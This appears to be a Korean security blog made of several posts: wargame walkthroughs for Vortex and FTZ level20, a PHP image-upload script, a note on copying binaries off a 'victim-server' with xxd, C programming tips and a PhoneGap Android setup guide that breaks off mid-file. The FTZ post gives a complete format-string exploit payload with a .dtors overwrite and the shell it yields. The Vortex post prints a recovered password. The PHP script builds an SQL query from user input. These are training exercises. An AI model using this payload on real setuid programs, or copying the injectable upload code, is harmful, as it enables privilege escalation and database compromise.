처음 OS 환경이 x86인 intel CPU 이기에 메모리주소값은 little endian 방식을 취하므로 buff 에서 ret 으로 갈수록 작은 주소값을 가진다.


이때 x 가 \\ 가 들어올때마다 ptr 이 하나씩 감소한다. 즉 buff[0]부터 하나씩 포인터가 감소하여 buff[256]을 지나는 순간의 값이 0xCA가 되면 되는것이다. 


인자값 전달은 perl 을 사용하였다. 받는 값이 getchar 이니, perl로 출력된 값을 그대로 전달하면 될것이다. 



쉘이 떨어지긴하는데 바로 exit가 되버린다.  이럴때 ;cat 명령어와 함께 사용해 주어, 멈추게 하는 방법을 hackerschool 문제때 사용했으나 이경우엔 먹통이 되어 아무 명령도 실행 할 수 없었다. 

검색을 해본결과 아래와 같은 부분을 찾을 수 있었다.

========================================================================================================

리눅스에서 사용되는 |(파이프) 명령어는 4096바이트를 차지한다는 것이다.

즉, 4096바이트 크기를 넘지않는 4096바이트 안에 포함된 모든 입력값들은 파이프 명령어가 꿀꺽하기 때문에 쉘에 명령어가 전달이 되지 못한다는 것이다.

 

즉, 쉘을 획득한 상태에서 파이프로 인자를 넘기려면 4096이상 넘겨야 쉘코드로 인자를 넘겨 실행하는 것이 가능하다는 말이군!

 

[출처] Vortex Level1|작성자 hks9999

===========================================================================================================

좋아~ 일정 바이트를 넘겨야 한다 이거군..


테스트를 해보자.. 우선 패스워드는 /etc/vortex_pass/에 있다고 했으니 그곳을 읽는 걸로 바로 명령어를 쳐보자 



위와같이 a를 3838개를 넣었을때 command not found 에서 명령어 a가 다 사라졌다.  그리고 vortex2의 패스워드를 얻을 수 있었다. 


PW : 23anbT\rE





'War_Game > Vortex' 카테고리의 다른 글

[vortex] level3 -> level4  (0) 2013.10.10
[Vortex] level0 -> level1  (0) 2013.07.29
[vortex] level2 -> level3  (0) 2012.03.31
Posted by k1rha
2012. 3. 29. 16:20
===========================================================================================================

출처 : http://geundi.tistory.com/133  by Genudi

그냥 링크를 할 수도 있었으나 혹시나 글이 지워질 사항을 대비하여 출처를 남기고 복사 하여 가져옵니다. 

좀 논리상 안맞지만 포멧 스트링 버그라는게 이해하기는 쉬워도 설명하기는 정말 까다로운 공격기법이라 생각하는데, 아래 분은 정말 잘 설명해 주셨더라구요. 


몇번 씩 다시 읽으면서 뜯어 고친 느낌도 나고, 경의를 표합니다.  

======================================================




1. 자 마지막 힌트 보시겠습니다.

#include <stdio.h>
main(int argc,char **argv)
{ char bleh[80];
  setreuid(3101,3101);
  fgets(bleh,79,stdin);
  printf(bleh);
}

음 setreuid는 있군요.. 그런데 쉘을 실행시키는 명령은 없네요. 쉘코드가 필요하겠군요.



2. 취약점 분석


  (1)소스분석


크게 소스분석은 필요하지 않을것 같네요. bleh라는 이름의 버퍼가 80바이트 크기로 선언이 되었습니다. 아 이런 그런데 fgets함수에 의해서 문자열을 입력은 받긴 하지만 그 최대길이를 79바이트로 제한을 해버렸습니다. 버퍼오버플로우는 불가능합니다. ret까지 덮어쓸 뭐시기가 없네요.

그럼 이문제는 무슨 문제일까요?


  (2)printf(bleh);

바로 이부분이 문제입니다. c언어 하루라도 공부해보신 분이라면 다 아시는 printf함수 사용에 독특함이 있다는 것을 알 수 있으실겁니다. printf함수는 대부분 이런식으로 사용하죠?

#include <stdio.h>

int main();
{
 int a=0;
 printf("%d" , a);  // 이렇게 따옴표와 서식문자 %d, 변수명을 이용합니다.
}


그 문제점이 무었일까요? 그래 바로 포맷스트링 버그 입니다.



3. 포맷스트링 버그

아 이에대한 설명을 다루어야 되나 말아야 되나 고민이 됩니다. 이에 대해서도 훌륭한 문서들이 많이 있는데 말이죠. 대충 그거 한번 읽어보세요 하고 넘어가기도 그렇습니다. 자세한 설명은 못해도 문제해결에 필요한 요소를 간단하게 나마 다루어 보겠습니다.

  (1)무엇이 문제일까?

사실 printf(bleh);하여도 bleh의 문자열의 화면 출력에 문제는 없습니다.

그런데 bleh 안에 서식문자 %d나 %x %s 등이 들어있을 때 문제가 됩니다.

printf(bleh); 이렇게 함수를 사용하게 되면 문자열을 출력하다가 bleh배열 안에서 %d나 %x %s 등을 만나면 이들을 출력해야할 문자열로 보지 않고 서식문자로 인식해버린다는 것입니다.

이렇게 문자열을 출력하다가 서식문자를 만나면 메모리의 다음 4바이트 참조해서 출력하는 등 그 기능을 수행버 버리는 것입니다,.

문제의 프로그램이 printf함수까지 실행된다고 했을 때 스택의 모습입니다.

                /-------------------------/  메모리의 높은 숫자의 주소
                 |         ret             |     Stack
                /------------------/
                 |         sfb            |
                /------------------/
                 |       쓰레기1       |
                /------------------/
                 |                         |
                 |       쓰레기2       |
                 |                         |
                /------------------/
                 |                         |
                 |       bleh[80]      |
                 |                         |
                /------------------/
                 |                         |
                 |       ??생략??     |
                 |                         |
                /------------------/
                 |                         |<-- 이부분은 printf함수의 인자(bleh)가 저장되는 곳입니다.
                 |     printf(bleh)    |       이곳은 bleh의 주소가 담겨져있죠.
                 |                         |
                 /-------------------------/   메모리의  낮은 숫자의 주소

이러한 모습을 가지고 있을 텐데요..

(??생략??된 부분은 setreuid와 fgets함수 가 수행되었을 거라 생각되는 부분입니다. printf함수까지 실행된다면 setreuid와 fgets함수에 할당되었던 메모리 공간은 반환되어서 그 크기는 0일 것 같은데요. 정확히는 모르는 상황입니다.)

이제 printf함수가 실행이 된다면 인자로서 스택에 저장이 된 bleh주소를 참조하여 화면에 출력을 시작할 것입니다.

현재 esp는 스택에서 printf함수의 인자로 저장된 곳의 시작점을 가리키고 있습니다.

                 메모리 높은 주소
                /------------------/
                 |                         |
                 |     printf(bleh)    | bleh의 주소가 들어가 있다.
                 |                         |
                 /-----------------/  <-- printf함수의 의해 화면이 출력될 때 esp가 가리키고 있는 곳
                  메모리 낮은 주소

만약에 bleh에 "AAAA%x"를 입력한다면 어떻게 될까요?

처음에는 AAAA를 출력하겠지만, 서식문자 %x를 만나는 순간 현재 esp에서 4바이트 증가한 부분의 메모리의 내용을 16진수로 출력하게 되는 것입니다. 그렇다면 지금 그림에서는 ??생략??된 부분의 처음 4바이트의 내용을 출력하게 될 것입니다.

이때 bhel[80]에는 아래와 같이 입력한 데이터가 들어가 있겠죠?

                 메모리 높은 주소
                /------------------/
                 |          %x            |
                 |           A              |
                 |           A              | bleh[80]
                 |           A              |
                 |           A              |
                 /-----------------/ 
                  메모리 낮은 주소


실제 그러한지 문제의 프로그램에서 "AAAA%x"를 입력해보겠습니다.

[level20@ftz level20]$ ./attackme
AAAA%x
AAAA4f

아 정말 AAAA가 출력되고 4f라는 16진수가 출력되었습니다.


만약에 아까 ??생략?? 된 부분의 크기가 0이었다면 어떻게 출력이 되었을까요?

                메모리 높은 주소
                /------------------/
                 |          %x            |
                 |           A              |
                 |           A              | bleh[80]
                 |           A              |
                 |           A              |
                /------------------/
                 |                          |
                 |     printf(bleh)     | bleh의 주소가 들어가 있다.(4바이트 크기)
                 |                          |
                 /-----------------/  <-- printf함수의 의해 화면이 출력될 때 esp가 가리키고 있는 곳
                  메모리 낮은 주소

이런 모습이었다면 "AAAA%x"를 입력했을 때 "AAAA0x41414141"이 출력이 되어야 겠습니다. 다음 4바이트가 바로 bleh[80]의 첫 4바이트에 해당되기 때문입니다.

그러면 실제 문제의 프로그램에서 서식문자를 몇개를 넣었을 때 비로소 bleh[80]이 읽히는지 알아보겠습니다.

[level20@ftz level20]$ ./attackme
AAAA%x%x
AAAA4f40157460

[level20@ftz level20]$ ./attackme
AAAA%x%x%x
AAAA4f401574604009d500

[level20@ftz level20]$ ./attackme
AAAA%x%x%x%x
AAAA4f401574604009d50041414141

서식문자 %x를 4개를 넣었을 때 비로소 A의 16진수가 나왔습니다.

자 그래서 뭘 어떻게 하라는 말일까요?


  (2)우리에게 필요한 서식문자 %n

레벨20을 해결하는 데에 가장 중요한 서식문자 %n이 있습니다. 여태껏 printf(bleh) 이런식으로 사용하면 문자열중에 %d등과 같은 서식문자를 만나면 스택에서 다음 4바이트를 읽어서 출력한다고 했습니다.

그런데 %n은 독특한 기능을 합니다.

%n은 %n이 나오기 전에 출력된 자릿수를 계산하여 스택의 다음 4바이트에 있는 내용을 주소로 여기고 그 주소에 계산한 자릿수, 즉 숫자를 입력하는 것입니다.

자 그럼 "AAAA%n"을 넣었다고 하고 어떻게 되는지 그림으로 보겠습니다.

                메모리 높은 주소
                /------------------/
                 |          %n            |
                 |           A              |
                 |           A              | bleh[80]
                 |           A              |
                 |           A              |
                /------------------/
                 |                          |
                 |     printf(bleh)     | bleh의 주소가 들어가 있다.
                 |                          |
                 /-----------------/  <-- printf함수의 의해 화면이 출력될 때 esp가 가리키고 있는 곳
                메모리 낮은 주소

처음에는 당연히 AAAA를 출력합니다. %n을 만나면 지금까지 출력된 자릿수를 계산합니다. 계산하니 AAAA 4자리군요. 자이제 스택의 다음 4바이트의 내용을 확인합니다. 0x41414141 이겠군요(AAAA). 메모리의  0x41414141이라는 주소에 계산한 자릿수 4를 써버리는 것입니다.

그리고 %n 앞에 다른서식문자를 이용하여 %n이 인식하는 자릿수를 지정할 수도 있습니다.

예를 들어  %100c%n 이랗고 한다면 100이라는 숫자를 넣는다는 것입니다.


오~ 여기서 키포인트가 나옵니다. 우리가 원하는 메모리 주소에 원하는 내용을 쓸 수 있다는 것입니다.

ret주소에 쉘코드 주소를 쓸 수 있다는 결론이 나옵니다.

ret주소는 알아내면 될 것이고, %n은 자릿수를 10진수로 해서 넣으니 쉘코드 주소를 10진수로 바꿔서 ret주소에 써버리면 되겠습니다.


  (3)원하는 주소에 원하는 값 넣기

%임의정수c로써 %n이 인식하는 자릿수를 마음대로 정할 수 있으므로, 우리는 %임의정수c를 이용하여야 합니다. 그런데 %임의정수c에도 %c라는 서식문자가 포함되어 있기때문에 역시 스택의 4바이트를 출력하게 됩니다. 따라서 %임의정수c에 의해서 출력될 4바이트도 입력해주어야 합니다.(지금 글에서는 AAAA라는 문자를 이용하여 %임의정수c에 의해서 출력되도록 하였습니다.)

쉘코드의 주소를  입력하는데 10진수로 바꿔서 입력되도록 하여야 합니다. 그런데 일반 x86시스템에서는 정수를 이용하여 0xffffffff(4294967295)만 큼의 크기를 지정할 수 없습니다. 그래서 나온 방법이 쉘코드의 주소를 2바이트씩 나누어서 입력하는 것 입니다.

예를 들면 쉘코드의 주소가 0xbffffab8이라면 bfff와 fab8으로 나누어서 각자 10진수로 바꾸는 것입니다.

그리고 ret 주소가 08049594이라면 08049594에 2바이트(fab8)를 입력하고, 이제 2바이트 증가한 08049596에 나머지 2바이트(bfff)를 입력하는 것 방식을 취하는 것입니다.

(fab8 = 64184) 은 08049594의 주소에 넣고, (bfff  = 49151) 은 08049596의 주소에 들어가도록 해야 겠습니다.

또한 리틀 엔디안 방식을 취하고 있으므로 낮은 자리수의 것을 먼저 입력해야 할 것입니다.

또 한가지 알아야 할 부분은 레벨20의 프로그램은 서식문자가 4개가 되어서야 bleh[80]을 읽어내기 시작하였다는 것을 앞에서 확인하였습니다. 쉘코드를 입력할 ret의 주소가 bleh에 있기 때문에 esp가 가리키는 곳을 bleh까지 옮기기 위해 서식문자 %8x를 3개사용하여야 합니다. %8x로 한것은 각 부분이 최대 8자리를 차지하기 때문입니다.


자 그래서 지금까지 살펴본 것들을 토대로 하면 우리가 bleh입력할 문자열의 생김새는 다음과 같습니다.


AAAA\x94\x95\x04\x08AAAA\x96\x95\x04\x08%8x%8x%8x%64144c%n%50503c%n


%64144c와 %50503c에 대해서 설명을 하겠습니다.

원래 쉘코드를 10진수로 바꾸면 64184와 49151입니다.

%n은 자신이 나오기 전까지 모든 자릿수를 계산하기 때문에

AAAA\x94\x95\x04\x08AAAA\x96\x95\x04\x08%8x%8x%8x 에 대한 자릿수까지 계산하게 됩니다. 이들의 자릿수는 (4 + 4 + 4 +4 +8 + 8 + 8) 40이므로64184에서 40을 빼 %64144c로 한 것입니다.

50503은 역시 원래 49151(bfff)입니다. 여기에서도 또한 %n은 자신이 나오기 이전의 모든 자릿수를 계산하므로 AAAA\x94\x95\x04\x08AAAA\x96\x95\x04\x08%8x%8x%8x%64144c%n에 대한 자릿수도 계산하게 됩니다. 이에 해당하는 자릿수는 64184이므로 이를 빼줘야 합니다. 

그런데 49151(bfff)에서 빼게 되면 음수가 되므로 앞에 1을 붙인 값 (1bfff)를 10진수로 변환한 값(114687)에서 64184를 빼서 %50503c가 되었습니다.

최종적으로 우리가 bleh에 입력할 문자열의 모습은 위와 같겠습니다.


4. ret주소와 .dtors

먼저 우리는 ret주소를 알아내야 합니다. 하지만 레벨20의 프로그램은 gdb로 실행이 안되어서 ret주소를 찾을 수가 없습니다.

그래서 .dtors라는 것을 이용하는데 이에 대한 설명은 하지 않겠습니다

 .dtors는 main함수가 끝나고 실행이 되는 명령이 있는 곳이라고 합니다. 이는 gcc로 컴파일한 경우에만 존재하는 것이라고합니다.

우리가 이 .dtors주소에 쉘코드의 주소를 덮어 쓰는 것입니다.

우리는 쉽게 이 .dotrs주소를 알아낼 수 있는데요.  명령은 다음과 같습니다

[

level20@ftz level20]$ objdump -h attackme | grep .dtors
 18 .dtors        00000008 08049594  08049594  00000594  2**2

08049594+4 인 위치에 쉘코드 주소를 덮어 쓰면 되겠습니다.


5. 문제해결

이제 지금까지 살펴본 내용을 토대로 하여 레벨20 해결을 시도해 보겠습니다.


  (1)쉘코드 주소

먼저 에그쉘을 실행시키고 쉘코드의 주소를 알아보겠습니다.

[level20@ftz level20]$ ./tmp/egg
Using address: 0xbffffaa8


  (2)ret주소 또는 ./dtors

레벨20의 프로그램은 gdb에서 실행이 되지 않으므로 .dtors의 주소를 알아내어 그 주소에 쉘코드 주소를 덮어 쓰는 방식으로 하겠습니다.

[level20@ftz level20]$ objdump -h attackme | grep .dtors
 18 .dtors        00000008  08049594  08049594  00000594  2**2

08049594+4 인 위치에 쉘코드 주소를 덮어 쓰면 되겠습니다.


  (3)입력할 문자열

%임의정수c의 %c에 의해서 스택에서 읽혀질 문자 4바이트 "AAAA"를 입력.

%8x를 세개 넣어서 bleh를 참조하도록 함.

AAAA\x98\x95\x04\x08AAAA\x9a\x95\x04\x08%8x%8x%8x%임의정수1c%n%임의정수2c%n

임의정수1c = 쉘코드 주소(bffffaa8)중 faa8에서 앞의 자릿수(4+4+4+4+8+8+8 = 40)을 뺀 결과 64128
임의정수2c = 쉘코드 주소(bffffaa8)중 bfff앞에 1을 붙인 1bfff에서 (40+64128)을 뺀결과 50519

따라서 입력할 문자열은

AAAA\x98\x95\x04\x08AAAA\x9a\x95\x04\x08%8x%8x%8x%64128c%n%50519c%n

이 됩니다.

이것이 스택에 틀어간 모습을 그려보겠습니다.

                                     메모리의 높은 숫자의 주소
                /-------------------------/  
                 |            ret                      |     Stack
                /-------------------------/
                 |             sfb                    |
                /-------------------------/
                 |          쓰레기1                |
                /-------------------------/
                 |          쓰레기2                |
                /-------------------------/
                 |               %n                |
                 |           %50519c            |
                 |               %n                |
                 |           %64128c            |
                 |              %8x                | 
                 |             %8x                 |
                 |             %8x                 |
                 |   \x9a\x95\x04\x08   |  ← %n에 의해서 이주소에 지금까지 계산한 자리수가 입력(esp+24)
                 |            AAAA                |  ← %50519c에 의해서 AAA가 출력 (esp+24)
                 |   \x98\x95\x04\x08   |  ← %n에 의해서 이주소에 지금까지 계산한 자리수가 입력(esp+20)
                 |            AAAA                |  ← %64128c에 의해 AAAA가 출력(esp+16)
                /------------------------/
                 |                                    |  ← %8x(esp+12)
                 |          ??생략??             |  ← %8x(esp+8)
                 |                                    |  ← %8x를 만나 이 위치의 내용을 출력, esp+4)
                /------------------------/
                 |                                    |
                 |         printf(bleh)           |   ←AAAA\x98\x95\x04\x08AAAA\x9a\x95\x04\x08을 
                 |                                    |     화면에 출력               
                 /-------------------------/←printf함수에 의해 출력이 시작할 때 스택의 위치(esp+0)
                                      메모리의  낮은 숫자의 주소


  (4)포맷스트링버그

이제 해당 문자열을 입력해보겠습니다.

(python -c 'print "AAAA\x98\x95\x04\x08AAAA\x9a\x95\x04\x08%8x%8x%8x%64128c%n%50519c%n"';cat)|./attackme


[level20@ftz level20]$ (python -c 'print "AAAA\x98\x95\x04\x08AAAA\x9a\x95\x04\x08%8x%8x%8x%64128c%n%50519c%n"';cat)|./attackme
~~
공백
~~
                                                              A
id
uid=3101(clear) gid=3100(level20) groups=3100(level20)

드디어 clear의 uid가 되었습니다.

성공하였습니다. 포맷스트링버그 이해는 하고 있지만 설명하기가 무척 어려웠습니다.
이점 이해해주시구요 -_-

수고하셨습니다.

Posted by k1rha
2012. 3. 25. 12:01


<?
include_once "../common/common.php";

 

 $title=htmlspecialchars($_POST['write_info']);
 $currentTime = date("Y-m-d",time());

 

if(!$title){

?> <script>
 alert("Plz insert title or file");
 location.href="./index.php";
 </script>
<?
  
}

else{

 $FILE=$_FILES['FILE']['name'];
  $cut=explode('.',$FILE);
  $size=sizeof($cut);
  $extension=$cut[$size-1];
  $result=strtolower($extension);

 $addr='javascript:history.back()';

 if ($FILE){
  $SVFILE=date('y-m-d H:i:s').md5($FILE).'.'.$result;
  $img_flag_1=($result=='bmp' or $result=='dib' or $result=='jpg' or $result=='jpeg' or $result=='jpe' or $result=='jfif' or $result=='gif' or $result=='tif' or $result=='tiff' or $result=='png');
  $img_flag_2=($_FILES['FILE']['type']=='image/bmp' or $_FILES['FILE']['type']=='image/dib' or $_FILES['FILE']['type']=='image/jpg' or $_FILES['FILE']['type']=='image/jpeg' or $_FILES['FILE']['type']=='image/pjpeg' or $_FILES['FILE']['type']=='image/jpe' or $_FILES['FILE']['type']=='image/jfif' or $_FILES['FILE']['type']=='image/gif' or $_FILES['FILE']['type']=='image/tif' or $_FILES['FILE']['type']=='image/tiff' or $_FILES['FILE']['type']=='image/png' or $_FILES['FILE']['type']=='image/x-png');
  if ($img_flag_1){
   if ($img_flag_2){
    if($_FILES['FILE']['error']>0){
     $msg='파일을 업로드 할 수 없습니다.';
    }
    if (file_exists('./upload/'.$SVFILE)){
     $msg='파일을 업로드 할 수 없습니다.';
    }
    else{
     move_uploaded_file($_FILES['FILE']['tmp_name'],'./upload/'.$SVFILE);
    }
   }
   else{
    $msg='파일을 업로드 할 수 없습니다.<br>'.$_FILES['FILE']['type'];
   }
  }
  else{
   $msg='파일을 업로드 할 수 없습니다.';
  }
 }
 else{
  $SVFILE='';
  echo("file error");
  echo("<script>
  location.href='./index.php';
  </script>");
 }

 


 $sql="insert into trip (memo,file,date) values ('$title','$SVFILE','$currentTime')";

 mysql_query ($sql);


 //die($sql);


 ?>


 <script>
  location.href="./index.php";
 </script>
 <?

}

 

?>

Posted by k1rha
2012. 3. 23. 20:55
리눅스 환경의 문제의 경우 바이너리 파일만 존재 하는 경우가 있다.

하지만 이 파일을 IDA로 분석하기 위해서는 다운을 받아야 하게 되는데, 환경만 된다면 sftp 나 wget 을 이용하여 받을수 있다. 하지만 이것이 불가능 한 경우가 있다.

이 경우는 xxd 명령어를 통하여 바이너리를 그대로 텍스트 형식으로 저장하여 옴겨서 다시 새로운 바이너리 파일을 만드는 방식을 사용 할 수 있다. 


victim-server> xxd [binary file] > result
victim-server> cat result
...............contents..........
.................................
.................................
(복사하여 내 서버에 옴긴다)


k1rha`s-server > vi result


...............contents..........
.................................
.................................
(복사한 내용을 붙인다.)

%!xxd -r
:wq recovery

k1rha`s-server> chmod 777  recovery  
k1rha`s-server> ./recoverr 

하면 바이너리 파일를 그대로 옴겨 실행 할 수 있다.

이 후 window 로 가져올때는  wget을 이용하던 웹을 이용하던 ftp를 이용하던 자유롭게 자신의 컴퓨터로 다운 받으면 된다. 





                                              Thanks for [ CodeAche ] bro~  




Posted by k1rha
2012. 3. 21. 03:08
void *calloc(size_t
nmemb, size_t size);
void *malloc(size_t size);

malloc과 calloc의
prototype은 위와 같습니다.
malloc은
size만큼의 메모리를 확보한 후에, 그 시작 주소를 리턴합니다.
calloc은
nmemb*size만큼의 메모리를 확보한 후에, 그 영역을 모두 0으로 초기화 하고
시작 주소를 리턴합니다.
calloc같은 건
배열을 위한 메모리를 확보할 때 좀 더 편리하게 사용할 수 있는
함수입니다.
하지만
malloc으로 못 할 건 없겠지요. ^^
아래 둘은 그
결과가 똑같습니다.
1. b = (int*)
calloc(n, sizeof(int));
2. b = (int*)
malloc(n * sizeof(int)); memset(b, 0, n*sizeof(int));

malloc으로 했을
때, memset(b, 0, n*sizeof(int)) 부분이 없다면, b가 가리키고 있는 메모리
영역에는 쓰레기 값이 들어가 있습니다. b[0]에만 들어가 있는 것이 아니라,
할당된 메모리 영역 전체에 이전에 누군가 썼던 내용이 그대로 들어 있단
말이지요.
Posted by k1rha
2012. 3. 21. 03:08

HANDEL hEvent;

hEvent=CreateEvent(NULL,FALSE,TRUE,AfxGetAppName());

if(GetLastError()==ERROR_ALREADY_EXISTS)

{

AfxMessageBox("이미 실행중입니다.");

return FALSE;

}

Posted by k1rha
2012. 3. 21. 03:07
유닉스에서는 프로그램 실행시 옵션으로 '-a','-b'등등을 줄 수 있는 것이 많은데 이 처리를 쉽게 하기 위해 만들어진 함수가 getopt입니다.

리눅스라면 getopt.h를, 유닉스 계열은 unistd.h를 include하시면 쓸 수 있습니다.

함수 정의는 당연히 위의 헤더 파일에 있을 거고요. 내용정의가 필요없다는 위의 답변은 저도 무슨 말인지 이해가 안되는군요...ㅡ.ㅡ;;

getopt의 아규먼트는 첫번째 두번째는 그냥 main에서 받는 argc랑 argv를 넘겨주면 되고, 세번째 인자는 옵션 형태입니다. 즉 위의 예제같은 경우 -a -d -i -v가 가능하다는 얘기구요. ':'의 의미는 추가 내용이 필요한 옵션이란 얘기죠. 위의 경우 -i는 -i 뒤에 또 무슨 내용이 와야 된다는 의미입니다.
ex)
while( (option = getopt( argc, argv, "t:d:s:a:" )) != -1 )
{
switch( option )
{
case 't':
strcpy( t_addr, optarg );
break;
case 'd':
strcpy( data_file, optarg );
break;
case 's':
step = atoi(optarg);
break;
case 'a':p
sprintf( account, "~%s/", optarg );
break;
default:
fprintf( stderr, "Usage : ./%s <Enter>\n", argv[0] );
exit( 1 );
}
}

Posted by k1rha
2012. 3. 21. 03:06

소켓을 사용하다보면 어떠한 신호와 연결된 채로 기다리는것이 아니라 지나가야할 경우가 발생한다
그때는 소켓을 넌블러킹으로 만들어주면 된다. 

#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <signal.h>
#include <sys/socket.h>
#include <sys/file.h>
#include <netinet/in.h>
#include <string.h>
#include <netdb.h>
#include <string.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <errno.h>

넌블럭킹 소켓

socket() 으로 생성되는 소켓은 기본값으로 Blocking 소켓이다. 하지만 이미 생성된 소켓을 fcntl() 함수를 사용하여 nonblocking socket으로 변경 가능하다.

※ Blocking Socket(B)/Nonblocking Socket(N)

(여기서 errno는 errno.h를 인클루드해야 이용할수 있다.)

- read

  • B : read 버퍼가 비어있을때 block
  • N : read 버퍼가 비어있을때 -1 return, errno==EWOULDBLOCK/EAGAIN

* Blocking socket의 경우에 read 버퍼에 존재하는 데이터의 크기가 read시 요청한 데이터의 크기보다 작은 경우라도 read 버퍼에 존재하는 데이터만큼 리턴되며 block 되지 않음.

- write

  • B : write 버퍼가 꽉 차있을때 block
  • N : write 버퍼가 꽉 차있을때 -1 return, errno==EWOULDBLOCK/EAGAIN

- accept

  • B : backlog( 현재의 connection 요청 큐 )가 비어있을때 block
  • N : backlog( 현재의 connection 요청 큐 )가 비어있을때 -1 return, errno==EWOULDBLOCK/EAGAIN

- connect

  • B : connection이 완전히 이루어질때까지 block
  • N : connection이 완전히 이루어지 않더라도 곧바로 return. 나중에 getsockopt로 connection이 완전히 이루어졌는지 확인가능.

※ Nonblocking 소켓의 장점/단점

  • 장점 : 멀티스레드를 사용하지 않고도 다른 작업을 할 수 있다.
  • 단점 : 프로그램이 복잡해지며, CPU 사용량이 증가한다.

※ Nonblocking 소켓으로 만드는 방법 : fcntl()함수를 이용한다.

int flag;

flag = fcntl( sock_fd, F_GETFL, 0 );

fcntl( sock_fd, F_SETFL, flag | O_NONBLOCK );

이미 생성된 소켓을 fcntl 로 넌블럭 소켓으로 바꿔준뒤 flag 값으로 리턴한다. 

Posted by k1rha
2012. 3. 21. 03:05

(echo "aaaa\r\n\") | nc localhost 8080

이런식으로 인자전달이 되면

login : aaaaa 

Posted by k1rha
2012. 3. 21. 03:04
1. 디렉토리 파일 fopen으로 열수가없는지?
디렉토리 파일을 연다는 것이.. 디렉토리 열어 해당 파일 리스트를 보는 것은 아래와 같이 하시면 됩니다.
opendir()을 사용하시면 됩니다.

아래는 예 입니다...
#include <stdio.h>
#include <unistd.h>
#include <dirent.h>

int main(void)
{
DIR *dir_info;
struct dirent *dir_entry;

dir_info = opendir("."); // 현재 디렉토리를 열기

if ( NULL != dir_info)
{
while(dir_entry = readdir( dir_info)) // 디렉토리 안에 있는 모든 파일과 디렉토리 출력
printf( "%s\n", dir_entry->d_name);

closedir( dir_info);
}
}
Posted by k1rha
2012. 3. 21. 03:03
오늘은 안드로이드로 하이브리드앱을 만들어볼려고 찾아보았습니다.
일단 삽질끝에 처리를 하긴 했는대 기존에 있는 데이터들과는 조금 차이가 있습니다.
제가 진행했던 방법을 기록해두겠습니다.

제일 많이 참고 했던 사이트는 다음과 같습니다.
http://wiki.phonegap.com/w/page/16494774/Getting%20started%20with%20Android%20PhoneGap%20in%20Eclipse


# 1 기본적인 설치
JAVA JDK , Android SDK, Eclipse를 일단 설치를 했구요
설치 방법은 http://v.daum.net/link/8469722?CT=WIDGET 참고 하시면 됩니다.

여기서 골치아팠던게 루비인데요... 왜 루비가 필요한건지...머리가 아파왔습니다.
일단 Apache ANT http://ant.apache.org/index.html
Ruby http://rubyinstaller.org
다음과 같이 받아서 설치를 했습니다.

그리고 다음과 같이 환경설정을 처리 했습니다.
ANDROID_HOME, location of the Android SDK (for example: D:/android-sdk-windows)

ANT_HOME, location of Android Ant (for example: D:\apache-ant-1.8.1)

JAVA_HOME, location of the JDK (for example: C:\Program Files\Java\jdk1.6.0_20)

Path, folders where the operating system always looks when given a command (includes these, for example: C:\Ruby191\bin; D:\apache-ant-1.8.1\bin; C:\Program Files\Java\jdk1.6.0_20\bin; D:\android-sdk-windows\tools)



# 2 폰갭 설치
자 이제부터 폰갭을 받아서 처리 해야 하는대요

위키상에 내용을 보면 Git를 설치해서 내려 받아라고 되어 있습니다. 전 일단 받긴했는데..
머가 잘 안되더라구요
Git Bash (Windows only)
Visit: http://code.google.com/p/msysgit/downloads/list

계속 삽질한 위키상에 대해서 이야기 하겠습니다.
http://github.com/phonegap/phonegap-android 소스를 내려 받아라고 되어 있습니다.

그리고 전 막삽질을 해도 안되었던 부분입니다.

$ ruby ./droidgap classic "C:/Progra~1/Androi~1/android-sdk-windows" pgtest com.example.android.pgtest example/ "c:/Progra~1/Androi~1/phonegap-android/output"
In the above Windows example, the following environment settings were used:
android_sdk_path = "c:\Program Files\Android SDK\android-sdk-windows"
name = pgtest
path = "c:\Program Files\Android SDK\phonegap-android\output" (This is the output location where the example files were placed)
Example (Mac environment):
> cd phonegap-android
> ruby ./droidgap classic android/android-sdk-mac_86/ test_app com.mayerdan.testapp example/ ~/projects/test_droid_phonegap
Note if you get errors like:
BUILD FAILED
~/projects/phonegap-android/framework/build.xml:49: taskdef class com.android.ant.SetupTask cannot be found
followed by more errors like:
0:in `stat': No such file or directory - ~/projects/phonegap-android/framework/phonegap.jar
To fix this, just run the command with the full path to the android SDK
"sdk.dir=/andriod/android-sdk-mac_86" => "sdk.dir=/projects/andriod/android-sdk-mac_86"
Then run `ruby ./droidgap classic /Users/danmayer/projects/android/android-sdk-mac_86 test_app com.mayerdan.testapp example/ ~/projects/test_droid_phonegap` again.

다른 분들은 어떻게 하셨는지 모르겠는대 전 오늘 오전 내내 안되더라구요....


# 3 꼼수를 찾아내다...
그러다 다른 방법을 찾았습니다.
트루모바일 대표이사이신 정우진님과 구글 플러스로 어제 질문을 드렸던 부분이 있어서 찾아보았습니다.
그리고 약간 다른 방법으로 접근을 했습니다.

먼저 폰갭 사이트에서 다운을 받았습니다.
http://www.phonegap.com/download-thankyou

압축을 푸신후에 phonegap\Android 디렉토리에서 두 파일만 딱 추출했습니다.
phonegap-1.0.0.jar , phonegap-1.0.0.js

그리고 이클립스로 기존에 안드로이드 프로젝트 생성 하듯 진행을 합니다.

프로젝트 루트 폴더에 두 개의 새로운 폴더를 만들어 둡니다
/libs
/assets/www
Android 폴더 내에 있는 phonegap.js 파일을 /assets/www 로 복사한다.
phonegap.jar 파일을 /libs 폴더로 복사한다.
xml 폴더를 /res 로 복사한다.


프로젝트 아래의 /src 폴더에 있는 Project 메인 Java 파일({$프로젝트명}Activity.java – 예:DuraboysActivity.java)에서 몇 가지 수정을 하여야 한다.
class의 extend를 Activity 에서 DroidGap으로 변경한다.
setContentView(); 를 super.loadUrl("file:///android_asset/www/index.html");로 변경한다.
import com.phonegap.*;을 추가한다.

/libs 폴더에서 오른쪽 마우스 버튼을 클릭한 후 Build Paths/ > Configure Build Paths를 선택한다.
이때 표시되는 화면의 Libraries 탭에서 Add Jars 를 선택하여
Project에 phonegap-1.0.0.jar 를 추가한다.

AndroidManifest.xml를 찾아 오른쪽 마우스를 클릭한 후 Open with > Text Editor 를
선택하여 파일을 연다.
빨간색 부분을 추가 한다.

< ?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.Dura.Demo"
android:versionCode="1"
android:versionName="1.0">
<supports-screens
android:largeScreens="true"
android:normalScreens="true"
android:smallScreens="true"
android:resizeable="true"
android:anyDensity="true"
/>
<uses-permission android:name="android.permission.CAMERA" />
<uses-permission android:name="android.permission.VIBRATE" />
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
